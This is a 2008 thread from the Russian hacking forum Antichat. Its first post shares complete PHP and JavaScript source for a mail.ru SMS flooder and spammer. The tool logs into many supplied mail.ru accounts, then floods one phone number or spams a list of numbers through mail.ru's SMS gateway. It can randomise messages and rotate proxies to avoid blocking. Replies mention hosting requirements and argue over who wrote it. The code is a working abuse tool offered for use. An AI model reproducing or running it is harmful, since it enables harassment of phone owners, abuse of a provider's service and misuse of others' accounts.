Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   mail.ru SMS flooder+spamer by DX (https://forum.antichat.xyz/showthread.php?t=86282)

3xIm3 26.09.2008 03:40

mail.ru SMS flooder+spamer by DX
 
Код:

<?php
session_start();
set_time_limit(0);

$ajax=isset($_POST['ajax']) ? 1 : 0;

$thescript='';

for($tlen=strlen($_SERVER['SCRIPT_NAME']),$i=$tlen-1;$i>=0;$i--)
{
  if($_SERVER['SCRIPT_NAME']{$i}=='/') break;
  $thescript=$_SERVER['SCRIPT_NAME']{$i}.$thescript;
}

if(!function_exists('socket_connect'))
  die("The function socket_connect does not exist! You cannot use this script.");

$ver='1.2';
if(!$ajax)
{
print <<<HERE
<html><head>
<title>SMS Mail.ru Messenger by DX $ver</title>
<style>
td
{
border-width:1px 1px 1px 1px;
border-style:solid;
border-color:black;
}
INPUT
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
}
button
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
FONT-SIZE: 10px;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
width:50px;
}
textarea
{
BORDER-RIGHT: rgb(50,50,50) 1px outset;
BORDER-TOP: rgb(50,50,50) 1px outset;
BORDER-LEFT: rgb(50,50,50) 1px outset;
BORDER-BOTTOM: rgb(50,50,50) 1px outset;
FONT-SIZE: 13px;
font-family:Arial;
}
select
{
FONT-SIZE: 10px;
background-color:#f4f4ff;
}
a,a:active,a:visited
{
background: transparent;
color: #34498B;
text-decoration: none;
font-weight:700;
font-size:10;
font-family:Arial;
background-color:wheat;
}
a:hover
{
background: transparent;
color: blue;
font-weight:700;
font-family:Arial;
font-size:10;
text-decoration: none;
background-color:yellow;
}
</style>
</head>
<body>
<table style="border-width:1px 1px 1px 1px; border-style:solid; border-collapse:collapse; border-color:black; width:100%; height:100%">
<tr><td colspan=2 align=center style="font-size:18;height:10">SMS Mail.ru Messenger By DX $ver</td></tr>
<tr valign=top><td><span id="name1">Аккаунты, с которых производить рассылку</span><hr><textarea style="width:500px;height:350px" id="accs"></textarea>
<div id="stats" style="display:none;padding:4px;width:500px;height:350;overflow:auto;border-width:1px 1px 1px 1px;border-color:black;border-style:solid;"></div>
<br><div id="scrl2" style="display:none;""><input type="checkbox" checked id="scrl"> Авто-скролл логов
<br><span id="addstats"></span></div>
<br><span id="name2">Впишите аккаунты в таком виде:<br><tt>mail:pass</tt><br>по одному аккаунту в каждой строке.</span></td><td style="width:290">Опции рассылки<hr>
<div id="opts">
<a href="#" onclick="chtab(1);return false;">Инфо</a> <a href="#" onclick="chtab(2);return false;">Рассылка</a>
  <a href="#" onclick="chtab(3);return false;">Сообщение</a>  <a href="#" onclick="chtab(4);return false;">Прокси</a>
<hr>
<div id="tab1">
Данный скрипт позволяет рассылать смс-сообщения по списку номеров, или какое-то число сообщений на конкретный номер.
HERE;
print '<br'.'><tt'.'>&co'.'py;D'.'X 2'.'008'.'</tt>';
print <<<HERE
</div>
<div id="tab2" style="display:none">
Задержка со стороны клиента: <input type="text" id="wt" value="0" style="width:50"> ms<br>
Задержка со стороны сервера: <input type="text" id="swt" value="2000" style="width:50"> ms<br><br>
Тип рассылки:<br>
<input type="radio" name="stype" value="1" checked> На номер<br>
Номер: <input type="text" id="telnum" value="7xxxxxxxxxx" style="width:90"><br>
Отправить <input type="text" id="mnum" value="1" style="width:50"> сообщений<br>
<br>
<input type="radio" name="stype" value="2"> На список номеров:<br>
<textarea style="width:99%" id='telnums' rows=15>7xxxxxxxxxx</textarea>
</div>
<div id="tab3" style="display:none">
Сообщение:<br>
<textarea rows=20 cols=37 id="txtmsg"></textarea>
<br><input type="button" onclick="setmes();return false;" value="Установить" id="sbtn"><br>
Введите сообщение и нажмите кнопку &quot;Установить&quot;.<br>
Текущее сообщение:<br>
<textarea id="currmsg" rows=5 cols=37 readonly></textarea>
<br><input type="checkbox" id="mrnd">Рандомизировать сообщение
</div>
<div id="tab4" style="display:none">
Список прокси (не обязательно):<br><textarea rows=20 cols=30 id="proxy"></textarea>
<br>Прокси-серверы будут циклически меняться для каждого последующего аккаунта.
</div>
</div>

<div id="msproc" style="display:none">Идёт рассылка...</div>
</td></tr>



<tr><td colspan=2 align=center style="height:20"><input type="button" onclick="startmess()" value="Начать рассылку" id="st"></td></tr>
</table>
<script language='JavaScript'>
var accarr=new Array();
var passarr=new Array();
var ismes=false;
var totalaccs;
var curracc=0;
var k=0;
var maxp;
var stype;
var waittime=1;
var servwaittime=1;
var nregex=/^\d+$/g;
var mmrnd=0;
var currid=0;
var succmess=0;
var nnum=0;
var messet=0;
var tmpmes="";
var telnum=0;
var telnums=Array();
var mnum=0;
var numtels=0;
var sent=0;
var prox=new Array();
var pport=new Array();
var useproxy=false;
var k=0;
var maxp;

function setmes()
{
  messet=0;
  tmpmes=document.getElementById("txtmsg").value;
  sendRequest("act=10&msg="+rpl(escape(tmpmes)));
  document.getElementById("sbtn").disabled=true;
}

function mes_ok(mlen)
{
  messet=mlen;
  document.getElementById("sbtn").disabled=false;
  document.getElementById("currmsg").value=tmpmes;
}


function chtab(num)
{
  hideTabs();
  showTab(num);
}

function hideTabs()
{
  for(var i=1;i<=4;i++)
  {
    document.getElementById("tab"+i).style.display="none";
  }
}

function showTab(num)
{
  document.getElementById("tab"+num).style.display="block";
}


function startmess()
{
  if(ismes)
  {
    if(!sent && !window.confirm("Вы действительно желаете остановить рассылку?"))
    {
      sent=1;
      return;
    }


    ismes=false;
    document.getElementById("accs").style.display="block";
    document.getElementById("st").value="Начать рассылку";
    document.getElementById("stats").style.display="none";
    document.getElementById("name1").innerHTML="Аккаунты, с которых производить рассылку";
    document.getElementById("name2").innerHTML="Впишите аккаунты в таком виде:<br><tt>mail:pass</tt><br>по одному аккаунту в каждой строке.";
    document.getElementById("msproc").style.display="none";
    document.getElementById("opts").style.display="block";
    document.getElementById("scrl2").style.display="none";

    return;
  }

  document.getElementById("accs").value=document.getElementById("accs").value.replace(/^\s\s*/, '').replace(/\s\s*$/, '');


  sent=0;
  curracc=0;
  accarr=new Array();
  passarr=new Array();
  waittime=1;
  currid=0;
  succmess=0;
  sloggingin=0;
  nnum=0;
  telnum=0;
  totalaccs=0;
  numtels=0;
  prox=new Array();
  pport=new Array();
  useproxy=false;
  k=0;

  mmrnd=document.getElementById("mrnd").checked==true ? 1 : 0;

  var tmp;
  var tmp2,cnt2;

  useproxy=false;

  stype=getCheckedValue(document.all.stype);

  if(stype!=1 && stype!=2)
  {
    alert("Выберите тип рассылки.");
    chtab(2);
    return false;
  }

  if(stype==1)
  {
    telnum=document.getElementById("telnum").value;

    if(telnum.search(nregex)==-1 || telnum.length!=11)
    {
      alert("Введите правильный номер телефона.");
      chtab(2);
      return false;
    }

    mnum=document.getElementById("mnum").value;

    if(mnum.search(nregex)==-1 || mnum<1)
    {
      alert("Введите правильное число сообщений для флуда.");
      chtab(2);
      return false;
    }
  }




  tmp=document.getElementById("wt").value;
  if(tmp.search(nregex)==-1)
  {
    alert("Введите правильную величину задержки отправки со стороны клиента.");
    chtab(2);
    return false;
  }

  waittime=Number(tmp)+1;

  tmp=document.getElementById("swt").value;
  if(tmp.search(nregex)==-1)
  {
    alert("Введите правильную величину задержки отправки со стороны сервера.");
    chtab(2);
    return false;
  }

  servwaittime=tmp;

  if(!messet)
  {
    alert("Установите сообщение для рассылки.");
    chtab(3);
    return false;
  }


  if(document.getElementById("accs").value.length==0)
  {
    alert("Введите аккаунты для рассылки/проверки.");
    return false;
  }

  tmp=document.getElementById("accs").value.replace(/\\r/g,"").split("\\n");

  var cnt=tmp.length;

  if(cnt==0)
  {
    alert("Аккаунты введены в неверном формате.");
    return false;
  }

  for(var i=0;i<cnt;i++)
  {
    tmp2=tmp[i].split(":");
    cnt2=tmp2.length;
    if(cnt2<2)
    {
      alert("Аккаунты введены в неверном формате.");
      return false;
    }

    for(var t=2;t<cnt2;t++)
    {
      tmp2[1]+=":"+tmp2[t];
    }

    if(tmp2[0].length==0 || tmp2[1].length==0)
    {
      alert("Аккаунты введены в неверном формате.");
      return false;
    }

    accarr[i]=tmp2[0];
    passarr[i]=tmp2[1];
  }

  totalaccs=cnt;




  if(stype==2)
  {
    tmp=document.getElementById("telnums").value;

    var cnt=tmp.length;

    if(cnt==0)
    {
      alert("Номера введены в неверном формате.");
      return false;
    }

    tmp=tmp.replace(/\\r/g,"").split("\\n");

    var cnt=tmp.length;

    mnum=cnt;

    for(var i=0;i<cnt;i++)
    {
      if(tmp[i].search(nregex)==-1 || tmp[i].length!=11)
      {
        alert("Номера введены в неверном формате.");
        return false;
      }

      telnums[i]=tmp[i];
    }
  }




  if(document.getElementById("proxy").value.length>0)
  {
    tmp=document.getElementById("proxy").value.replace(/\\r/g,"").split("\\n");

    var cnt=tmp.length;

    if(cnt==0)
    {
      alert("Прокси-серверы введены в неверном формате. Используйте ip:port.");
      chtab(4);
      return false;
    }

    for(var i=0;i<cnt;i++)
    {
      tmp2=tmp[i].split(":");
      cnt2=tmp2.length;
      if(cnt2!=2)
      {
        alert("Прокси-серверы введены в неверном формате. Используйте ip:port.");
        chtab(4);
        return false;
      }

      if(tmp2[0].length==0 || tmp2[1].length==0)
      {
        alert("Прокси-серверы введены в неверном формате. Используйте ip:port.");
        chtab(4);
        return false;
      }

      prox[i]=tmp2[0];
      pport[i]=tmp2[1];
    }

    useproxy=true;
    maxp=cnt;
  }






  ismes=true;
  document.getElementById("accs").style.display="none";
  document.getElementById("stats").style.display="block";
  document.getElementById("stats").innerHTML="";
  document.getElementById("name1").innerHTML="Статус рассылки";
  document.getElementById("name2").innerHTML="";
  document.getElementById("st").value="Остановить рассылку";
  document.getElementById("opts").style.display="none";
  document.getElementById("msproc").style.display="block";
  document.getElementById("scrl2").style.display="block";

  document.getElementById("stats").innerHTML="<font color='red'><b>Старт рассылки сообщений...</b></font><br>";

  setStats(0,mnum);
  setTimeout("goMes()",waittime);
}


function setStats(curr,total)
{
  var mleft=total-curr;
  document.getElementById("addstats").innerHTML="Отправлено: "+curr+"; осталось отправить: "+mleft;
}

function goMes()
{
  if(sent) return;

  if(stype==2)
    tnum=telnums[currid];
  else
    tnum=telnum;

  sendRequest("act=1&rd="+mmrnd+"&telnum="+tnum+"&wt="+servwaittime+"&login="+accarr[curracc]+"&pass="+passarr[curracc],1);
  changeProxy();
}



function nextMes(suc)
{
  if(sent) return;
  if(suc)
  {
    nnum++;
    currid++
    addMes("<font color=green>Успешно отправлено сообщение #"+nnum+"</font><br>");
    setStats(nnum,mnum);
  }

  curracc++;
  if(curracc>=totalaccs)
    curracc=0;

  if(nnum>=mnum)
  {
    finishMes();
    return;
  }


  setTimeout("goMes()",waittime);
}


function finishMes()
{
  if(sent) return;
  addMes("<font color=blue>Всё! Отправлено сообщений: "+nnum+".</font><br>");
  sent=1;
}




function getCheckedValue(radioObj)
{
  if(!radioObj)
    return "";

  var radioLength=radioObj.length;
  if(radioLength==undefined)
    if(radioObj.checked)
      return radioObj.value;
    else
    return "";

    for(var i=0;i<radioLength;i++)
    {
      if(radioObj[i].checked)
        return radioObj[i].value;
    }

  return "";
}


function changeProxy()
{
  k++;
  if(k>=maxp) k=0;
}




var lognum=0;


function addMes(msg)
{
  lognum++;
  if(lognum>200)
  {
    lognum=0;
    document.getElementById("stats").innerHTML="";
  }

  document.getElementById("stats").innerHTML=document.getElementById("stats").innerHTML+msg;
  if(document.getElementById("scrl").checked==true) document.getElementById("stats").scrollTop=100000;
}



function createHttpRequest()
{
  var uagent=navigator.userAgent.toLowerCase();
  var is_win=((uagent.indexOf("win")!=-1) || (uagent.indexOf("16bit")!=-1));
  var is_opera=(uagent.indexOf('opera')!=-1);
  var is_webtv=(uagent.indexOf('webtv')!=-1);
  var is_safari=((uagent.indexOf('safari')!=-1) || (navigator.vendor=="Apple Computer, Inc."));
  var is_ie=((uagent.indexOf('msie')!=-1) && (!is_opera) && (!is_safari) && (!is_webtv));

  if(is_ie)
    httpRequest=new ActiveXObject("Microsoft.XMLHTTP");
  else
    httpRequest=new XMLHttpRequest();

  return httpRequest;
}





function sendRequest(params,showprox)
{
  if(sent) return;

  if(useproxy)
  {
    if(params) params=params+"&pr="+prox[k]+"&pp="+pport[k]; else params="pr="+prox[k]+"&pp="+pport[k];
    if(showprox) params=params+"&shp=1";
  }

  if(params) params=params+"&ajax=1"; else params="ajax=1";

  httpRequest.open('POST',"$thescript",true);
  httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  httpRequest.setRequestHeader("Content-length",params.length);
  httpRequest.setRequestHeader("Connection","close");
  httpRequest.onreadystatechange=getRequestx;
  httpRequest.send(params);
}

function getRequestx()
{
  if(httpRequest.readyState==4)
    eval(httpRequest.responseText);
}

var httpRequest=createHttpRequest();

function rpl(st)
{
st=st.replace(/%u0430/g,"%E0");
st=st.replace(/%u0431/g,"%E1");
st=st.replace(/%u0432/g,"%E2");
st=st.replace(/%u0433/g,"%E3");
st=st.replace(/%u0434/g,"%E4");
st=st.replace(/%u0435/g,"%E5");
st=st.replace(/%u0436/g,"%E6");
st=st.replace(/%u0437/g,"%E7");
st=st.replace(/%u0438/g,"%E8");
st=st.replace(/%u0439/g,"%E9");
st=st.replace(/%u043A/g,"%EA");
st=st.replace(/%u043B/g,"%EB");
st=st.replace(/%u043C/g,"%EC");
st=st.replace(/%u043D/g,"%ED");
st=st.replace(/%u043E/g,"%EE");
st=st.replace(/%u043F/g,"%EF");
st=st.replace(/%u0440/g,"%F0");
st=st.replace(/%u0441/g,"%F1");
st=st.replace(/%u0442/g,"%F2");
st=st.replace(/%u0443/g,"%F3");
st=st.replace(/%u0444/g,"%F4");
st=st.replace(/%u0445/g,"%F5");
st=st.replace(/%u0446/g,"%F6");
st=st.replace(/%u0447/g,"%F7");
st=st.replace(/%u0448/g,"%F8");
st=st.replace(/%u0449/g,"%F9");
st=st.replace(/%u044A/g,"%FA");
st=st.replace(/%u044B/g,"%FB");
st=st.replace(/%u044C/g,"%FC");
st=st.replace(/%u044D/g,"%FD");
st=st.replace(/%u044E/g,"%FE");
st=st.replace(/%u044F/g,"%FF");
st=st.replace(/%u0410/g,"%C0");
st=st.replace(/%u0411/g,"%C1");
st=st.replace(/%u0412/g,"%C2");
st=st.replace(/%u0413/g,"%C3");
st=st.replace(/%u0414/g,"%C4");
st=st.replace(/%u0415/g,"%C5");
st=st.replace(/%u0416/g,"%C6");
st=st.replace(/%u0417/g,"%C7");
st=st.replace(/%u0418/g,"%C8");
st=st.replace(/%u0419/g,"%C9");
st=st.replace(/%u041A/g,"%CA");
st=st.replace(/%u041B/g,"%CB");
st=st.replace(/%u041C/g,"%CC");
st=st.replace(/%u041D/g,"%CD");
st=st.replace(/%u041E/g,"%CE");
st=st.replace(/%u041F/g,"%CF");
st=st.replace(/%u0420/g,"%D0");
st=st.replace(/%u0421/g,"%D1");
st=st.replace(/%u0422/g,"%D2");
st=st.replace(/%u0423/g,"%D3");
st=st.replace(/%u0424/g,"%D4");
st=st.replace(/%u0425/g,"%D5");
st=st.replace(/%u0426/g,"%D6");
st=st.replace(/%u0427/g,"%D7");
st=st.replace(/%u0428/g,"%D8");
st=st.replace(/%u0429/g,"%D9");
st=st.replace(/%u042A/g,"%DA");
st=st.replace(/%u042B/g,"%DB");
st=st.replace(/%u042C/g,"%DC");
st=st.replace(/%u042D/g,"%DD");
st=st.replace(/%u042E/g,"%DE");
st=st.replace(/%u042F/g,"%DF");
st=st.replace(/%u0401/g,"%A8");
st=st.replace(/%u0451/g,"%B8");
st=st.replace(/%u2116/g,"%B9");
st=st.replace(/%u201C/g,"\"");
st=st.replace(/%u201D/g,"\"");
st=st.replace(/%u2013/g,":");
st=st.replace(/%u2019/g,"'");
st=st.replace(/\+/g,"%2B");

return st;
}

function errMsg(num)
{
  switch(num)
  {
    case 1:
      addMes("<font color=red>Ошибка работы с сокетами</font><br>");
    break;
    case 2:
      addMes("<font color=red>Ошибка при отправке sms</font><br>");
    break;
    case 3:
      addMes("<font color=red>Неправильно задан логин или пароль</font><br>");
    break;
    case 4:
      addMes("<font color=red>Не удалось залогиниться</font><br>");
    break;
    case 5:
      addMes("<font color=red>Некорректный номер телефона или неправильная задержка</font><br>");
    break;
    case 6:
      addMes("<font color=red>Ошибка авторизации в агенте</font><br>");
    break;
    case 7:
      addMes("<font color=red>Неверно задан адрес прокси</font><br>");
    break;
    case 8:
      addMes("<font color=red>Неверно задан порт прокси</font><br>");
    break;
  }
}
</script>
</body></html>
HERE;
}
else
{
  header("Content-type: text/html; charset=windows-1251");

  $browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";

  $act=isset($_POST['act']) ? $_POST['act'] : 0;

  $pr=isset($_POST['pr']) ? $_POST['pr'] : '';
  $pp=isset($_POST['pp']) ? $_POST['pp'] : '';


  if($pr)
  {
    if(!preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$pr))
    {
      $pr='';
      print("errMsg(7);");
    }

    if(!preg_match("/^(\d)+$/",$pp))
    {
      $pp='';
      print("errMsg(8);");
    }

    if(isset($_POST['shp']))
    {
      print "addMes('<font color=blue>Текущий прокси: $pr:$pp</font><br>');";
      ob_flush();
      flush();
    }
  }

  switch($act)
  {
    case '1':
      $mrnd=isset($_POST['rd']) ? $_POST['rd'] : 0;

      $msg=isset($_SESSION['msgx']) ? $_SESSION['msgx'] : '';

      $telnum=isset($_POST['telnum']) ? $_POST['telnum'] : 0;
      if(!preg_match("/^(\d){11}$/",$telnum))
        die("errMsg(5);nextMes();");

      $wt=isset($_POST['wt']) ? $_POST['wt'] : 0;
      if(!preg_match("/^(\d)+$/",$wt))
        die("errMsg(5);nextMes();");

      if($mrnd) $msg.="  ".mt_rand();

      $cookies=Array();
      $xtmp=isset($_POST['login']) ? $_POST['login'] : '';
      $xtmp=explode('@',$xtmp);
      $pass=isset($_POST['pass']) ? $_POST['pass'] : '';

      $login=$xtmp[0];
      $domain=$xtmp[1];

      if(strlen($login)<1 || strlen($pass)<1 || strlen($domain)<1)
        die("errMsg(3);nextMes();");

      $res=socket_do('win.mail.ru','/cgi-bin/loginagent','','GET','','',0,0,$pr,$pp);
      preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
      foreach($cook[1] as $ck)
      {
        $cookies[]=$ck;
      }



      $tmpcookie=implode('; ',array_unique($cookies));

      $res=socket_do('koi.mail.ru','/cgi-bin/auth',"page=http%3A%2F%2Fmrim8.mail.ru%2Fwin%2Fcontactlist.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=$login&Domain=$domain&Password=$pass&level=1&x=11&y=12",'POST',$tmpcookie,'http://win.mail.ru/cgi-bin/loginagent',0,0,$pr,$pp);

      preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
      foreach($cook[1] as $ck)
      {
        $cookies[]=$ck;
      }

      $cookies=implode('; ',array_unique($cookies));



      preg_match("/Location: http:\/\/koi\.mail\.ru\/cgi\-bin\/checkcookie\?(.+)\r\n/iUs",$res,$m);

      if(!isset($m[1]))
        die("errMsg(4);nextMes();");


      $res=socket_do('koi.mail.ru','/cgi-bin/checkcookie?'.$m[1],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,0,$pr,$pp);
      preg_match("/Location: (.+)\r\n/iUs",$res,$m);

      if(!isset($m[1]))
        die("errMsg(4);nextMes();");

      $tmp=explode('/',$m[1],4);

      $res=socket_do('mrim8.mail.ru','/'.$tmp[3],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,0,$pr,$pp);

      $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

      if(!$sock)
        die("errMsg(1);nextMes();");



      if($pr)
      {
        @socket_connect($sock,$pr,$pp) or die("errMsg(1);nextMes();");
        $request = "POST http://mrim8.mail.ru/connect HTTP/1.0\r\n";
      }
      else
      {
        @socket_connect($sock,"194.67.57.121","80") or die("errMsg(1);nextMes();");
        $request = "POST /connect HTTP/1.0\r\n";
      }


      @socket_set_nonblock($sock) or die("errMsg(1);nextMes();");
      if(@socket_select($r = null, $w = array($sock), $f = null, 5)!=1)
        die("errMsg(1);nextMes();");



      $request.= "Host: mrim8.mail.ru\r\n";
      $request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
      $request.= "Referer: {$m[1]}\r\n";
      $request.= "Content-Type: application/xml\r\n";
      $request.= "Content-Length: ".strlen('status=1')."\r\n";
      $request.= "Connection: keep-alive\r\n";
      $request.= "Keep-alive: 300\r\n";
      $request.= "Cookie: $cookies\r\n";
      $request.= "\r\n";

      @socket_write($sock,$request.'status=1') or die("errMsg(1);nextMes();");


      if(@socket_select($r = array($sock), $w = null, $f = null, 5)!=1)
        die("errMsg(1);nextMes();");


      $ret=@socket_read($sock,1000) or die("errMsg(1);nextMes();");

      if(strpos($ret,"MRIM_CS_LOGIN_REJ, {reason:\"Invalid session\"}")!==false)
      {
        @socket_close($sock);
        die("errMsg(6);nextMes();");
      }

      usleep($wt*1000);

      $res=socket_do('mrim8.mail.ru','/sms','seq=1&flags=0&phone=%2B'.$telnum.'&message='.urlencode($msg),'POST',$cookies,'http://mrim8.mail.ru/win/contactlist.html?post=&x=0&y=0&login_from=',0,1,$pr,$pp);


      if(strpos($res,"HTTP/1.0 200 OK")===0 || strpos($res,"HTTP/1.1 200 OK")===0)
      {
        //$ret=@socket_read($sock,1000) or die("errMsg(1);nextMes();");

        //if(strpos($ret,"MRIM_CS_SMS_ACK")===false)
        //  die("errMsg(2);nextMes();");

        @socket_close($sock);


        die("nextMes(1);");
      }
      else
      {
        @socket_close($sock);
        die("errMsg(2);nextMes();");
      }

    break;

    case '10':
      $msg=isset($_POST['msg']) ? trim($_POST['msg']) : '';

      $_SESSION['msgx']=$msg;

      die("mes_ok(".strlen($msg).");");
    break;



    default:
      die();
  }
}

function socket_do($page,$suri,$data,$method,$cook,$ref,$close=0,$sms=0,$pr='',$pp=0)
{
  if($pr)
  {
    $request="$method http://$page$suri HTTP/1.0\r\n";
    $fp=fsockopen("tcp://".$pr,$pp,$errno,$errstr,30);
  }
  else
  {
    $request = "$method $suri HTTP/1.0\r\n";
    $fp=fsockopen('tcp://'.$page,80,$errorNumber,$errorString,30);
  }


  if(!$fp) die("errMsg(1);nextMes();");

  @stream_set_timeout($fp,30);


  $request.= "Host: $page\r\n";
  $request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
  if($ref) $request.= "Referer: $ref\r\n";

  if($method=='POST')
  {
    $request.= $sms ? "Content-Type: application/xml\r\n" : "Content-Type: application/x-www-form-urlencoded\r\n";
    $request.= "Content-Length: ".strlen($data)."\r\n";
  }

  $request.= "Connection: close\r\n";

  if($cook)
    $request.="Cookie: $cook\r\n";

  $request.="\r\n";

  $request.=$data;


  fputs($fp,$request);
   
  $res="";

  while(!feof($fp))
  {
    $res.=fgets($fp,128);
    if($close) break;
  }

  fclose($fp);

  return $res;
}

?>


3xIm3 26.09.2008 03:44

В верхнем посту находиться скрипт, хз почему не показывает. Модераторы удалите тему.

Sarkis 26.09.2008 03:48

слишком большой,у меня тоже бывало

159932 26.09.2008 03:55

нажимаем на кнопку "quote" и читаем мессагу ..

3xIm3 26.09.2008 04:17

Цитата:

Сообщение от Rejjin
Хм, никак не вышло....
А что со скриптом то делать?

По названию темы сложно понять?
================================_
требует хостинг с потдержкой соккетов

CrazyStudentS_Mi}{ 26.09.2008 09:17

ТС http://forum.antichat.ru/thread70705-mail.ru+SMS.html вот тут почитай

F1shka 26.09.2008 14:40

Цитата:

Сообщение от CrazyStudentS_Mi}{
ТС http://forum.antichat.ru/thread70705-mail.ru+SMS.html вот тут почитай

копирайт, нехорошо! Авторов когда будем указывать, а не идеи воровать?


Время: 02:22